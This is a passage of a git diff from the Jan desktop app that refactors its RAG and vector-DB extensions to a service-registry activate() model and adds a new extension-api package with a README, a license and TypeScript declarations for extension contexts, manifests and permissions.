*/+export function fakeSettings(initial: Record<string, SettingValue> = {}) {+ const values = new Map(Object.entries(initial))+ const listeners: Listener[] = []+ const byKey = new Map(declared.map((s) => [s.key, s]))+ const api: SettingsApi = {+ get: async <T extends SettingValue>(key: string) => {+ const setting = byKey.get(key)+ if (!setting) return undefined+ return (values.get(key) ?? setting.control.default) as T+ },+ set: async (key, value) => {+ const setting = byKey.get(key)+ if (!setting) throw new Error(`Setting '${key}' is not declared`)+ if (!fits(setting, value)) throw new Error(`Value for '${key}' does not fit`)+ values.set(key, value)+ listeners.forEach((l) => l({ key, value }))+ },+ onDidChange: (listener) => {+ listeners.push(listener)+ return { dispose: () => listeners.splice(listeners.indexOf(listener), 1) }+ },+ }+ return { api, values }+}++export function fakeContext(+ opts: { vectorDB?: Partial<VectorDBService>; settings?: Record<string, SettingValue> } = {}+) {+ const services = createServiceRegistry()+ const tools = createInternalToolRegistry()+ if (opts.vectorDB) services.provide(ServiceKeys.VectorDB, opts.vectorDB as VectorDBService)+ const settings = fakeSettings(opts.settings)+ const disposables: { dispose(): void }[] = []+ const log = { debug: vi.fn(), info: vi.fn(), warn: vi.fn(), error: vi.fn() }+ const ctx = {+ extension: { id: 'jan.rag', version: '0.1.0', displayName: 'RAG Tools' },+ subscriptions: {+ add: <T extends { dispose(): void }>(d: T) => (disposables.push(d), d),+ dispose: () => disposables.splice(0).reverse().forEach((d) => d.dispose()),+ },+ log,+ settings: settings.api,+ internal: { services, tools },+ } as unknown as InternalExtensionContext+ return { ctx, services, tools, settings, log }+}diff --git a/extensions/rag-extension/src/test/setup.ts b/extensions/rag-extension/src/test/setup.tsindex 27eb3ec49..1c2986609 100644--- a/extensions/rag-extension/src/test/setup.ts+++ b/extensions/rag-extension/src/test/setup.ts@@ -1,70 +1,10 @@import { vi } from 'vitest'-// SETTINGS is injected at build time by rolldown's `define`; provide a stub here.-Object.defineProperty(globalThis, 'SETTINGS', {- value: [],- writable: true,- configurable: true,-})--// window.core.extensionManager is the bridge RagExtension resolves dependencies-// through. `@janhq/core` reads `globalThis.core`, so both names must reach the-// same object -- in the browser they are the same object, and a setup that set-// only one made the core helpers silently see no extensions.-const core = {- extensionManager: {- get: vi.fn(),- getByName: vi.fn(),- },-}--Object.defineProperty(globalThis, 'window', {- value: { core },- writable: true,- configurable: true,-})--Object.defineProperty(globalThis, 'core', {- value: core,- writable: true,- configurable: true,-})--vi.mock('@tauri-apps/api/core', () => ({- invoke: vi.fn(),-}))-vi.mock('@janhq/tauri-plugin-rag-api', () => ({parseDocument: vi.fn(),}))-// The embedding helpers are taken from the real module rather than stubbed:-// they are the shared implementation this extension delegates to, so stubbing-// them would leave the delegation untested on both sides.-vi.mock('@janhq/core', async () => {- const actual = await vi.importActual<typeof import('@janhq/core')>('@janhq/core')- class BaseExtension {- registerSettings = vi.fn().mockResolvedValue(undefined)- getSetting = vi.fn(async (_key: string, defaultValue: unknown) => defaultValue)- getSettings = vi.fn().mockResolvedValue([])- }- class RAGExtension extends BaseExtension {}- return {- embedTexts: actual.embedTexts,- getEmbeddingEngine: actual.getEmbeddingEngine,- isEmbeddingEngine: actual.isEmbeddingEngine,- RAGExtension,- BaseExtension,- RAG_INTERNAL_SERVER: 'rag-internal',- ExtensionTypeEnum: {- RAG: 'RAG',- VectorDB: 'VectorDB',- },- logger: {- debug: vi.fn(),- info: vi.fn(),- warn: vi.fn(),- error: vi.fn(),- },- }-})+// The embedding helpers run for real against this engine registry: they are+// the shared implementation this extension delegates to, so stubbing them+// would leave the delegation untested on both sides.+window.core = { engineManager: { get: vi.fn() } }diff --git a/extensions/vector-db-extension/package.json b/extensions/vector-db-extension/package.jsonindex 906071982..4b678f009 100644--- a/extensions/vector-db-extension/package.json+++ b/extensions/vector-db-extension/package.json@@ -4,12 +4,19 @@"version": "0.1.0","description": "Vector DB integration using sqlite-vec if available with linear fallback","main": "dist/index.js",- "module": "dist/module.js",+ "jan": {+ "id": "jan.vector-db",+ "displayName": "Vector DB",+ "description": "Vector DB integration using sqlite-vec if available with linear fallback",+ "publisher": "Jan",+ "apiVersion": "^1.0.0",+ "main": "dist/index.js",+ "permissions": []+ },"author": "Jan <[email protected]>","license": "Apache-2.0","scripts": {"build": "rolldown -c rolldown.config.mjs",- "build:publish": "rimraf *.tgz --glob || true && yarn build && npm pack && cpx *.tgz ../../pre-install","test": "vitest run"},"devDependencies": {diff --git a/extensions/vector-db-extension/rolldown.config.mjs b/extensions/vector-db-extension/rolldown.config.mjsindex 7c4b94017..0fa617034 100644--- a/extensions/vector-db-extension/rolldown.config.mjs+++ b/extensions/vector-db-extension/rolldown.config.mjs@@ -7,5 +7,4 @@ export default defineConfig({file: 'dist/index.js',},platform: 'browser',- define: {},})diff --git a/extensions/vector-db-extension/src/index.test.ts b/extensions/vector-db-extension/src/index.test.tsindex edc386fc9..3f84e7ea4 100644--- a/extensions/vector-db-extension/src/index.test.ts+++ b/extensions/vector-db-extension/src/index.test.ts@@ -1,11 +1,16 @@import { beforeEach, describe, expect, it, vi } from 'vitest'import * as vecdb from '@janhq/tauri-plugin-vector-db-api'import * as ragApi from '@janhq/tauri-plugin-rag-api'-import VectorDBExt from './index'+import {+ ServiceKeys,+ createServiceRegistry,+ type InternalExtensionContext,+} from '@janhq/core'+import { VectorDB, activate } from './index'const mockVecdb = vecdb as unknown as Record<string, ReturnType<typeof vi.fn>>const mockRag = ragApi as unknown as Record<string, ReturnType<typeof vi.fn>>-const getByName = (window as any).core.extensionManager.getByName as ReturnType<typeof vi.fn>+const getByName = window.core.engineManager.get as ReturnType<typeof vi.fn>function makeEngine(overrides: Record<string, unknown> = {}) {return {@@ -16,7 +21,7 @@ function makeEngine(overrides: Record<string, unknown> = {}) {}}-let ext: VectorDBExt+let ext: VectorDBbeforeEach(() => {vi.clearAllMocks()@@ -27,13 +32,21 @@ beforeEach(() => {mockVecdb.listAttachments.mockResolvedValue([])mockVecdb.chunkText.mockResolvedValue([])mockRag.parseDocument.mockResolvedValue('')- ext = new VectorDBExt()+ ext = new VectorDB()})describe('lifecycle + passthrough', () => {- it('onLoad/onUnload are no-ops', async () => {- await expect(ext.onLoad()).resolves.toBeUndefined()- expect(ext.onUnload()).toBeUndefined()+ it('provides the VectorDB service until the extension is disposed', async () => {+ const services = createServiceRegistry()+ const disposables: { dispose(): void }[] = []+ const ctx = {+ subscriptions: { add: <T extends { dispose(): void }>(d: T) => (disposables.push(d), d) },+ internal: { services },+ } as unknown as InternalExtensionContext+ await activate(ctx)+ expect(services.get(ServiceKeys.VectorDB)).toBeInstanceOf(VectorDB)+ disposables.forEach((d) => d.dispose())+ expect(services.get(ServiceKeys.VectorDB)).toBeUndefined()})it('getStatus forwards the plugin result', async () => {diff --git a/extensions/vector-db-extension/src/index.ts b/extensions/vector-db-extension/src/index.tsindex 2d95fee01..322b84356 100644--- a/extensions/vector-db-extension/src/index.ts+++ b/extensions/vector-db-extension/src/index.ts@@ -1,4 +1,4 @@-import { VectorDBExtension, type SearchMode, type VectorDBStatus, type VectorChunkInput, type VectorSearchResult, type AttachmentFileInfo, type VectorDBFileInput, type VectorDBIngestOptions, type EmbeddingEngine, getEmbeddingEngine, embedTexts } from '@janhq/core'+import { ServiceKeys, type InternalExtensionContext, type VectorDBService, type SearchMode, type VectorDBStatus, type VectorChunkInput, type VectorSearchResult, type AttachmentFileInfo, type VectorDBFileInput, type VectorDBIngestOptions, type EmbeddingEngine, getEmbeddingEngine, embedTexts } from '@janhq/core'import * as vecdb from '@janhq/tauri-plugin-vector-db-api'import * as ragApi from '@janhq/tauri-plugin-rag-api'@@ -11,13 +11,11 @@ const MIN_CHUNK_SIZE_CHARS = 64// Reserves room for BOS/special tokens the tokenizer adds beyond raw content.const EMBEDDING_CONTEXT_SAFETY_TOKENS = 8-export default class VectorDBExt extends VectorDBExtension {- async onLoad(): Promise<void> {- // no-op- }-- onUnload(): void {}+export async function activate(ctx: InternalExtensionContext): Promise<void> {+ ctx.subscriptions.add(ctx.internal.services.provide(ServiceKeys.VectorDB, new VectorDB()))+}+export class VectorDB implements VectorDBService {async getStatus(): Promise<VectorDBStatus> {return await vecdb.getStatus() as VectorDBStatus}@@ -102,7 +100,7 @@ export default class VectorDBExt extends VectorDBExtension {// Now check for duplicatesconst existingFiles = await vecdb.listAttachments(this.collectionForProject(projectId)).catch(() => [])- const duplicate = existingFiles.find((f: any) => f.name === file.name && f.path === file.path)+ const duplicate = existingFiles.find((f) => f.name === file.name && f.path === file.path)if (duplicate) {throw new Error(`File '${file.name}' has already been attached to this project`)}@@ -239,7 +237,7 @@ export default class VectorDBExt extends VectorDBExtension {async ingestFile(threadId: string, file: VectorDBFileInput, opts: VectorDBIngestOptions): Promise<AttachmentFileInfo> {// Check for duplicate file (same name + path)const existingFiles = await vecdb.listAttachments(this.collectionForThread(threadId)).catch(() => [])- const duplicate = existingFiles.find((f: any) => f.name === file.name && f.path === file.path)+ const duplicate = existingFiles.find((f) => f.name === file.name && f.path === file.path)if (duplicate) {throw new Error(`File '${file.name}' has already been attached to this thread`)}diff --git a/extensions/vector-db-extension/src/test/setup.ts b/extensions/vector-db-extension/src/test/setup.tsindex 2b8737910..a7de0366d 100644--- a/extensions/vector-db-extension/src/test/setup.ts+++ b/extensions/vector-db-extension/src/test/setup.ts@@ -18,33 +18,7 @@ vi.mock('@janhq/tauri-plugin-rag-api', () => ({parseDocument: vi.fn().mockResolvedValue(''),}))-// The embedding helpers are taken from the real module rather than stubbed:-// they are the shared implementation this extension delegates to, so stubbing-// them would leave the delegation untested on both sides.-vi.mock('@janhq/core', async () => {- const actual = await vi.importActual<typeof import('@janhq/core')>('@janhq/core')- return {- VectorDBExtension: class {},- embedTexts: actual.embedTexts,- getEmbeddingEngine: actual.getEmbeddingEngine,- isEmbeddingEngine: actual.isEmbeddingEngine,- }-})--const getByName = vi.fn()--// `@janhq/core` reads `globalThis.core`; the extension code reads `window.core`.-// They are the same object in the browser, so both names point at one here.-const core = { extensionManager: { getByName } }--Object.defineProperty(globalThis, 'window', {- value: { core },- writable: true,- configurable: true,-})--Object.defineProperty(globalThis, 'core', {- value: core,- writable: true,- configurable: true,-})+// The embedding helpers run for real against this engine registry: they are+// the shared implementation this extension delegates to, so stubbing them+// would leave the delegation untested on both sides.+window.core = { engineManager: { get: vi.fn() } }diff --git a/package.json b/package.jsonindex b0cec0e70..70fc0a4b5 100644--- a/package.json+++ b/package.json@@ -7,7 +7,8 @@"core","web-app","extensions/*",- "packages/*"+ "packages/*",+ "extensions-samples/*"]},"scripts": {@@ -16,10 +17,11 @@"ios": "yarn tauri ios dev","android": "yarn tauri android dev","build": "yarn build:tauri",- "test": "yarn test:core && yarn test:web && yarn test:ext",+ "test": "yarn test:core && yarn test:web && yarn test:ext && yarn test:packages","test:core": "cross-env NODE_OPTIONS=--max-old-space-size=4096 vitest run --project @janhq/core","test:web": "cross-env NODE_OPTIONS=--max-old-space-size=4096 vitest run --project @janhq/web-app",- "test:ext": "cross-env NODE_OPTIONS=--max-old-space-size=4096 vitest run --project '@janhq/*-extension'",+ "test:ext": "cross-env NODE_OPTIONS=--max-old-space-size=4096 vitest run --project '@janhq/*-extension' --project @janhq/extensions",+ "test:packages": "cross-env NODE_OPTIONS=--max-old-space-size=4096 vitest run --project @janhq/extension-api --project @janhq/extension-runtime --project @janhq/sample-hello-provider","test:all": "cross-env NODE_OPTIONS=--max-old-space-size=4096 vitest run","test:watch": "cross-env NODE_OPTIONS=--max-old-space-size=4096 vitest","test:ui": "cross-env NODE_OPTIONS=--max-old-space-size=4096 vitest --ui",@@ -46,9 +48,12 @@"build:tauri:plugin:api:win32": "cd src-tauri/plugins && yarn workspaces foreach -Apt --exclude @janhq/tauri-plugin-mlx-api run build","build:tauri:plugin:api:linux": "cd src-tauri/plugins && yarn workspaces foreach -Apt --exclude @janhq/tauri-plugin-mlx-api run build","build:icon": "tauri icon ./src-tauri/icons-macos/icon.png -o ./src-tauri/icons-macos && tauri icon ./src-tauri/icons/icon.png && node ./scripts/build-windows-icon.mjs",- "build:core": "cd core && yarn build && yarn pack",+ "build:core": "yarn build:extension-api && yarn build:extension-runtime && cd core && yarn build && yarn pack","build:web": "yarn workspace @janhq/web-app build",- "build:extensions": "yarn workspace @janhq/core build && yarn workspaces foreach -Apt --include '@janhq/*-extension' run build",+ "build:extension-api": "yarn workspace @janhq/extension-api build",+ "build:extension-runtime": "yarn workspace @janhq/extension-runtime build",+ "build:samples": "yarn workspaces foreach -Apt --include '@janhq/sample-*' run build",+ "build:extensions": "yarn build:extension-api && yarn build:extension-runtime && yarn workspace @janhq/core build && yarn workspaces foreach -Apt --include '@janhq/*-extension' run build && yarn build:samples","prepare": "husky","e2e": "yarn build:e2e:app && cd e2e && yarn install --immutable && yarn test","build:e2e:app": "yarn build:icon && node ./scripts/stub-tauri-resources.mjs && yarn build:e2e:deps && cross-env IS_TAURI=true yarn build:web && cargo build --locked --manifest-path src-tauri/Cargo.toml --features e2e --bin Jan-Desktop",diff --git a/packages/extension-api/LICENSE b/packages/extension-api/LICENSEnew file mode 100644index 000000000..e5969ccdd--- /dev/null+++ b/packages/extension-api/LICENSE@@ -0,0 +1,19 @@+Jan++Copyright 2026 Menlo Research++This product includes software developed by Menlo Research (https://menlo.ai).++Licensed under the Apache License, Version 2.0 (the "License");+You may not use this file except in compliance with the License.+You may obtain a copy of the License at++ http://www.apache.org/licenses/LICENSE-2.0++Unless required by applicable law or agreed to in writing, software+distributed under the License is distributed on an "AS IS" BASIS,+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.+See the License for the specific language governing permissions and+limitations under the License.++Attribution is requested in user-facing documentation and materials, where appropriate.\ No newline at end of filediff --git a/packages/extension-api/README.md b/packages/extension-api/README.mdnew file mode 100644index 000000000..973bd8100--- /dev/null+++ b/packages/extension-api/README.md@@ -0,0 +1,54 @@+# @janhq/extension-api++The API for Jan desktop extensions: the `ExtensionContext` an extension's+`activate(ctx)` receives, the manifest types for the `jan` field of its+`package.json`, and the validator the app runs on install and load.++Licensed under Apache-2.0.++## Manifest++```json+{+ "name": "@acme/hello",+ "version": "0.1.0",+ "engines": { "jan": ">=0.9.0" },+ "jan": {+ "id": "acme.hello",+ "displayName": "Hello",+ "publisher": "Acme",+ "apiVersion": "^1.0.0",+ "main": "dist/index.js",+ "permissions": ["ui:notify"],+ "contributes": {+ "commands": [{ "id": "hello.greet", "title": "Greet" }]+ }+ }+}+```++Lint it with the same code the app uses:++```ts+import { validateManifest } from '@janhq/extension-api/manifest'++const result = validateManifest(JSON.parse(packageJsonText))+if (!result.ok) console.error(result.errors)+```++## Versioning++`apiVersion` must be a caret range. `^1.0.0` accepts any host API 1.x, so an+extension built against 1.0 keeps working on later 1.x hosts. A deprecated+item stays for at least one minor and 90 days and is removed only in a major.++Every change to the public declarations shows up as a diff of the committed+`api-report.d.ts`; `src/__tests__/api-report.test.ts` fails until it is+regenerated with `yarn workspace @janhq/extension-api api-report`.++## Build++```bash+yarn workspace @janhq/extension-api build # tsc -> dist/ (ESM + .d.ts)+yarn test:packages+```diff --git a/packages/extension-api/api-report.d.ts b/packages/extension-api/api-report.d.tsnew file mode 100644index 000000000..586dc1ba9--- /dev/null+++ b/packages/extension-api/api-report.d.ts@@ -0,0 +1,566 @@+// API report for @janhq/extension-api. Generated; do not edit.+// Update with: yarn workspace @janhq/extension-api api-report++// ---- api-version.d.ts ----++/**+ * The version of this API package. A host compares an extension's+ * `jan.apiVersion` caret range against it (see `isApiCompatible`).+ */+export declare const API_VERSION = "1.0.0";++// ---- capabilities.d.ts ----++/**+ * What a model of a contributed provider can do, as the host reads it:+ * `tools` turns on tool calling in chat, `vision`, `audio` and `video` allow+ * those attachments, `embeddings` marks a model for embedding rather than+ * chat, `reasoning` labels a thinking model. A model with none declared is+ * `['completion']`.+ */+export type ModelCapability = 'completion' | 'tools' | 'vision' | 'audio' | 'video' | 'embeddings' | 'reasoning';+/** Every `ModelCapability`; anything else is rejected, not ignored. */+export declare const MODEL_CAPABILITIES: readonly ModelCapability[];+/** What a model gets when neither its provider nor its listing says. */+export declare const DEFAULT_MODEL_CAPABILITIES: readonly ModelCapability[];+/** Narrows a manifest or `listModels` entry to a `ModelCapability`. */+export declare function isModelCapability(value: unknown): value is ModelCapability;++// ---- context.d.ts ----++import type { ModelCapability } from './capabilities.js';+import type { JsonValue, SettingValue } from './contributions.js';+import type { Disposable, DisposableStore } from './disposable.js';+import type { Event } from './event.js';+/**+ * Leveled logging. Lines are tagged with the extension id and end up in the+ * app log.+ */+export interface Logger {+ debug(...args: unknown[]): void;+ info(...args: unknown[]): void;+ warn(...args: unknown[]): void;+ error(...args: unknown[]): void;+}+/** The extension's own settings, as declared in `contributes.settings`. */+export interface SettingsApi {+ /**+ * The current value, or the manifest default when the user has not set+ * one. Resolves undefined for an undeclared key.+ */+ get<T extends SettingValue>(key: string): Promise<T | undefined>;+ /** Stores a value for a declared key; the type must match the control. */+ set(key: string, value: SettingValue): Promise<void>;+ readonly onDidChange: Event<{+ key: string;+ value: SettingValue;+ }>;+}+/** Private key-value storage of JSON values, 1 MiB per extension. */+export interface StorageApi {+ get<T extends JsonValue>(key: string): Promise<T | undefined>;+ /** Rejects with `E_TOO_LARGE` when the stored total would exceed the quota. */+ set(key: string, value: JsonValue): Promise<void>;+ delete(key: string): Promise<void>;+ keys(): Promise<string[]>;+}+/**+ * Where a command was run from, passed as its first argument. Only ids:+ * reading content needs `conversations:read`.+ */+export type CommandContext = {+ location: 'commandPalette';+} | {+ location: 'thread/context';+ threadId: string;+} | {+ location: 'message/actions';+ threadId: string;+ messageId: string;+ role: 'user' | 'assistant';+} | {+ location: 'chatInput/actions';+ threadId: string;+} | {+ location: 'statusItem';+}+/** Run through `ctx.commands.execute` by the named extension. */+ | {+ location: 'extension';+ extensionId: string;+};+export type CommandHandler = (context: CommandContext, ...args: JsonValue[]) => unknown;+export interface CommandsApi {+ /** Binds a handler to a command declared in `contributes.commands`. */+ registerCommand(id: string, handler: CommandHandler): Disposable;+ /**+ * Runs one of the extension's own commands. Host commands and other+ * extensions' commands are not reachable.+ */+ execute<T = unknown>(id: string, ...args: JsonValue[]): Promise<T>;+}+export type NotifyLevel = 'info' | 'success' | 'warning' | 'error';+export interface UiApi {+ /** Shows a toast labelled with the extension name. Needs `ui:notify`. */+ notify(notification: {+ level: NotifyLevel;+ message: string;+ }): void;+ /** Updates a status item declared in `contributes.statusItems`. */+ setStatusItem(id: string, update: {+ text?: string;+ tooltip?: string;+ }): void;+}+/** Public, storage-independent views of threads and messages. */+export interface ThreadSummary {+ id: string;+ title: string;+ /** Unix epoch milliseconds. */+ updatedAt: number;+}+export interface ThreadInfo extends ThreadSummary {+ /** Unix epoch milliseconds. */+ createdAt: number;+}+export interface MessageInfo {+ id: string;+ threadId: string;+ role: 'user' | 'assistant' | 'system' | 'tool';+ /** The text parts of the message, concatenated. */+ text: string;+ /** Unix epoch milliseconds. */+ createdAt: number;+}+/** Reading needs `conversations:read`; creating needs `conversations:write`. */+export interface ConversationsApi {+ listThreads(): Promise<ThreadSummary[]>;+ getThread(id: string): Promise<ThreadInfo | undefined>;+ listMessages(threadId: string, opts?: {+ limit?: number;+ before?: string;+ }): Promise<MessageInfo[]>;+ createThread(input: {+ title: string;+ }): Promise<ThreadInfo>;+ appendMessage(threadId: string, msg: {+ role: 'user' | 'assistant';+ text: string;+ }): Promise<MessageInfo>;+ readonly onDidCreateMessage: Event<{+ threadId: string;+ message: MessageInfo;+ }>;+ readonly onDidDeleteThread: Event<{+ threadId: string;+ }>;+}+export interface CancellationToken {+ readonly isCancellationRequested: boolean;+ readonly onCancellationRequested: Event<void>;+}+/** What a tool returns to the model. */+export interface ToolResult {+ content: ({+ type: 'text';+ text: string;+ } | {+ type: 'json';+ value: JsonValue;+ })[];+ isError?: boolean;+}+export interface ToolHandler {+ (input: unknown, token: CancellationToken): Promise<ToolResult>;+}+export interface ToolsApi {+ /** Implements a tool declared in `contributes.tools`. Needs `tools`. */+ registerTool(name: string, handler: ToolHandler): Disposable;+}+export interface ProviderModel {+ id: string;+ displayName?: string;+ /** Replaces the provider's declared `capabilities` for this model. */+ capabilities?: ModelCapability[];+}+export interface ProviderHandlers {+ /** Overrides the host's `GET <baseUrl>/models` lookup. */+ listModels?(): Promise<ProviderModel[]>;+}+export interface ProvidersApi {+ /** Activates a provider declared in `contributes.providers`. Needs `providers`. */+ registerProvider(id: string, handlers: ProviderHandlers): Disposable;+}+export interface HttpRequestInit {+ method?: 'GET' | 'POST' | 'PUT' | 'PATCH' | 'DELETE' | 'HEAD';+ headers?: Record<string, string>;+ body?: string;+}+export interface HttpResponse {+ status: number;+ headers: Record<string, string>;+ body: string;+}+export interface HttpApi {+ /** Needs a `network:<host>` permission covering the URL's host. */+ fetch(url: string, init?: HttpRequestInit): Promise<HttpResponse>;+}+/** A message about to be sent, as seen by a `chat.onWillSend` hook. */+export interface WillSendEvent {+ threadId: string;+ text: string;+}+/**+ * Proposed APIs. Only present for extensions that list the proposal in+ * `jan.proposals` and run as built-in or dev; may change in any minor.+ */+export interface ProposedApi {+ readonly chat?: {+ /** Lets the extension rewrite outgoing text. Needs `chat:hooks`. */+ onWillSend(handler: (e: WillSendEvent) => Promise<{+ text: string;+ } | undefined>): Disposable;+ };+}+/** What `activate` receives. */+export interface ExtensionContext {+ readonly extension: {+ id: string;+ version: string;+ displayName: string;+ };+ /** Disposed by the host on deactivation; add every registration here. */+ readonly subscriptions: DisposableStore;+ readonly log: Logger;+ readonly settings: SettingsApi;+ readonly storage: StorageApi;+ readonly commands: CommandsApi;+ readonly ui: UiApi;+ readonly conversations: ConversationsApi;+ readonly tools: ToolsApi;+ readonly providers: ProvidersApi;+ readonly http: HttpApi;+ readonly proposed: ProposedApi;+}+/** The shape of an extension's entry module. */+export interface ExtensionModule {+ activate(ctx: ExtensionContext): void | Promise<void>;+ deactivate?(): void | Promise<void>;+}++// ---- contributions.d.ts ----++import type { ModelCapability } from './capabilities.js';+/** A JSON value as it survives `JSON.stringify` and structured clone alike. */+export type JsonValue = string | number | boolean | null | JsonValue[] | JsonObject;+export interface JsonObject {+ [key: string]: JsonValue;+}+/** A JSON Schema whose root describes an object, as tool inputs must. */+export interface JsonSchemaObject {+ type: 'object';+ properties?: Record<string, JsonObject>;+ required?: string[];+ [keyword: string]: JsonValue | undefined;+}+/** Places in the host UI where contributed commands can appear. */+export type MenuLocation = 'commandPalette' | 'thread/context' | 'message/actions' | 'chatInput/actions';+/** The closed set of visibility conditions for menu items. */+export type WhenClause = 'always' | 'message.role == assistant' | 'message.role == user' | 'thread.hasMessages';+/**+ * Text fields accept a literal or `%key%`, which the host resolves through+ * the manifest `l10n` table.+ */+export interface CommandContribution {+ id: string;+ title: string;+ category?: string;+ /** A Tabler icon name in kebab case, for example `hand-stop`. */+ icon?: string;+}+export interface MenuItemContribution {+ /** The id of a command declared in the same manifest. */+ command: string;+ when?: WhenClause;+ group?: string;+ order?: number;+}+export interface StatusItemContribution {+ id: string;+ text: string;+ tooltip?: string;+ /** The id of a command declared in the same manifest, run on click. */+ command?: string;+ priority?: number;+}+export type SettingControl = {+ type: 'input';+ inputType?: 'text' | 'url' | 'number';+ placeholder?: string;+ default: string;+} | {+ type: 'checkbox';+ default: boolean;+} | {+ type: 'dropdown';+ options: {+ value: string;+ label: string;+ }[];+ default: string;+} | {+ type: 'slider';+ min: number;+ max: number;+ step: number;+ default: number;+} | {+ type: 'textarea';+ rows?: number;+ default: string;+};+/** A setting value; its type follows the control's `default`. */+export type SettingValue = SettingControl['default'];+export interface SettingContribution {+ key: string;+ title: string;+ description?: string;+ /** Stored in the OS keyring instead of the settings file. */+ secret?: boolean;+ control: SettingControl;+}+/** Declared statically so the consent screen can list tools before install. */+export interface ToolContribution {+ name: string;+ description: string;+ inputSchema: JsonSchemaObject;+}+export interface ProviderContribution {+ id: string;+ displayName: string;+ /** An OpenAI-compatible base URL; its host needs a `network:` permission. */+ baseUrl: string;+ /** The key of a secret setting holding the API key. */+ apiKeySetting?: string;+ /**+ * What every model of this provider can do, unless its `listModels` entry+ * says otherwise. Defaults to `['completion']`; declare `tools` for chat+ * to offer tool calls.+ */+ capabilities?: ModelCapability[];+}+export interface Contributions {+ settings?: SettingContribution[];+ commands?: CommandContribution[];+ menus?: Partial<Record<MenuLocation, MenuItemContribution[]>>;+ statusItems?: StatusItemContribution[];+ tools?: ToolContribution[];+ providers?: ProviderContribution[];+}++// ---- disposable.d.ts ----++/** Something that holds a resource or a registration until it is disposed. */+export interface Disposable {+ dispose(): void;+}+/** Wraps a cleanup function; the function runs at most once. */+export declare function toDisposable(fn: () => void): Disposable;+/**+ * A set of disposables released together. Members are disposed in reverse+ * order of addition, so a registration made on top of an earlier one is torn+ * down first.+ *+ * The state lives in private fields, which stay writable when the store is+ * frozen: an extension worker hardens its `ctx`, `subscriptions` included.+ */+export declare class DisposableStore implements Disposable {+ #private;+ /**+ * Adds a member. Adding to a disposed store disposes the member at once, so+ * a registration that races with teardown cannot leak.+ */+ add<T extends Disposable>(d: T): T;+ /**+ * Disposes every member once. A throwing member does not stop the rest;+ * the first error is rethrown after all members ran.+ */+ dispose(): void;+}++// ---- errors.d.ts ----++/**+ * Why a host call failed. The same codes travel over the worker RPC, so+ * extensions can branch on `code` wherever their code runs.+ */+export type ExtensionErrorCode = 'E_PERMISSION' | 'E_INVALID_ARGS' | 'E_NOT_FOUND' | 'E_TIMEOUT' | 'E_CANCELLED' | 'E_DISPOSED' | 'E_TOO_LARGE' | 'E_INTERNAL';+/** An error raised by the host for a call through `ExtensionContext`. */+export declare class ExtensionError extends Error {+ readonly code: ExtensionErrorCode;+ constructor(code: ExtensionErrorCode, message: string);+}++// ---- event.d.ts ----++import type { Disposable } from './disposable.js';+/** Subscribes a listener; dispose the result to unsubscribe. */+export type Event<T> = (listener: (e: T) => void) => Disposable;+/** The producing side of an `Event`. */+export declare class Emitter<T> {+ private listeners;+ readonly event: Event<T>;+ /**+ * Delivers `e` to every current listener. A throwing listener is reported+ * and skipped, so one subscriber cannot starve the others.+ */+ fire(e: T): void;+ /** Drops every listener. */+ dispose(): void;+}++// ---- index.d.ts ----++/**+ * The stable API for Jan desktop extensions. `./manifest` re-exports the+ * manifest types and validator for tooling that only lints package.json.+ */+export { API_VERSION } from './api-version.js';+export { DEFAULT_MODEL_CAPABILITIES, isModelCapability, MODEL_CAPABILITIES, type ModelCapability, } from './capabilities.js';+export { DisposableStore, toDisposable, type Disposable } from './disposable.js';+export { Emitter, type Event } from './event.js';+export { ExtensionError, type ExtensionErrorCode } from './errors.js';+export { isLocalHost, isNetworkHost, isPermissionString, networkHostMatches, networkHostOf, type PermissionKind, type PermissionString, } from './permissions.js';+export { isApiCompatible } from './semver.js';+export { isContributionId, RESERVED_PUBLISHER, validateManifest, } from './validate.js';+export type * from './context.js';+export type * from './contributions.js';+export type { JanManifest, ManifestError, ProposalName, ValidatedManifest, ValidateOptions, ValidationResult, } from './manifest.js';++// ---- manifest.d.ts ----++import type { Contributions } from './contributions.js';+import type { PermissionString } from './permissions.js';+export { RESERVED_PUBLISHER, validateManifest } from './validate.js';+export { isApiCompatible } from './semver.js';+export { API_VERSION } from './api-version.js';+export type * from './contributions.js';+export type { PermissionString, PermissionKind } from './permissions.js';+/** Proposed API groups an extension can opt into (built-in and dev only). */+export type ProposalName = 'chat';+/** The `jan` field of an extension's package.json. */+export interface JanManifest {+ /** `<publisher>.<name>`, lowercase, for example `acme.hello-provider`. */+ id: string;+ /** A literal or `%key%` into `l10n`. */+ displayName: string;+ description?: string;+ publisher: string;+ /** A caret range on this package's version, for example `^1.0.0`. */+ apiVersion: string;+ /** Relative path to the worker bundle (IIFE assigning `JanExtension`). */+ main: string;+ permissions: PermissionString[];+ proposals?: ProposalName[];+ contributes?: Contributions;+ /** locale -> key -> text. `en` must hold every `%key%` used. */+ l10n?: Record<string, Record<string, string>>;+}+/** A manifest that passed `validateManifest`, with its package identity. */+export interface ValidatedManifest extends JanManifest {+ name: string;+ version: string;+ /** `engines.jan` of the package: the app versions it supports. */+ engines?: {+ jan: string;+ };+}+export interface ManifestError {+ /** Where the problem is, for example `jan.contributes.commands[1].id`. */+ path: string;+ message: string;+}+export interface ValidateOptions {+ /**+ * Accepts ids under the reserved `jan` publisher. Only the host sets it,+ * for the built-ins it ships; installable extensions never may.+ */+ builtin?: boolean;+}+export type ValidationResult = {+ ok: true;+ manifest: ValidatedManifest;+} | {+ ok: false;+ errors: ManifestError[];+};++// ---- permissions.d.ts ----++/**+ * What an extension may ask for in `jan.permissions`. Everything not listed+ * here (own settings, own contributions, logging, own storage) is implicit.+ */+export type PermissionString = 'ui:notify' | 'providers' | 'tools' | 'conversations:read' | 'conversations:write' | 'chat:hooks' | `network:${string}`;+/** A permission with any `network:<host>` collapsed to `network`. */+export type PermissionKind = Exclude<PermissionString, `network:${string}`> | 'network';+/**+ * True for a host grant usable after `network:`: `*`, an exact host+ * (`api.example.com`, `127.0.0.1`, `localhost`) or a subdomain wildcard+ * (`*.example.com`). No scheme, port or path: the scheme rule is fixed+ * (https, or http for local hosts) and ports are not a trust boundary.+ */+export declare function isNetworkHost(host: string): boolean;+/** Narrows a manifest entry to a well-formed `PermissionString`. */+export declare function isPermissionString(value: string): value is PermissionString;+/** The host part of a `network:<host>` permission, or undefined for any other. */+export declare function networkHostOf(permission: PermissionString): string | undefined;+/**+ * Whether the host grant `grant` (as returned by `networkHostOf`) covers the+ * URL host `host`. `*.example.com` covers subdomains only, not the apex, so+ * granting an API subdomain never silently grants the main site.+ */+export declare function networkHostMatches(grant: string, host: string): boolean;+/** Hosts reachable over plain http; 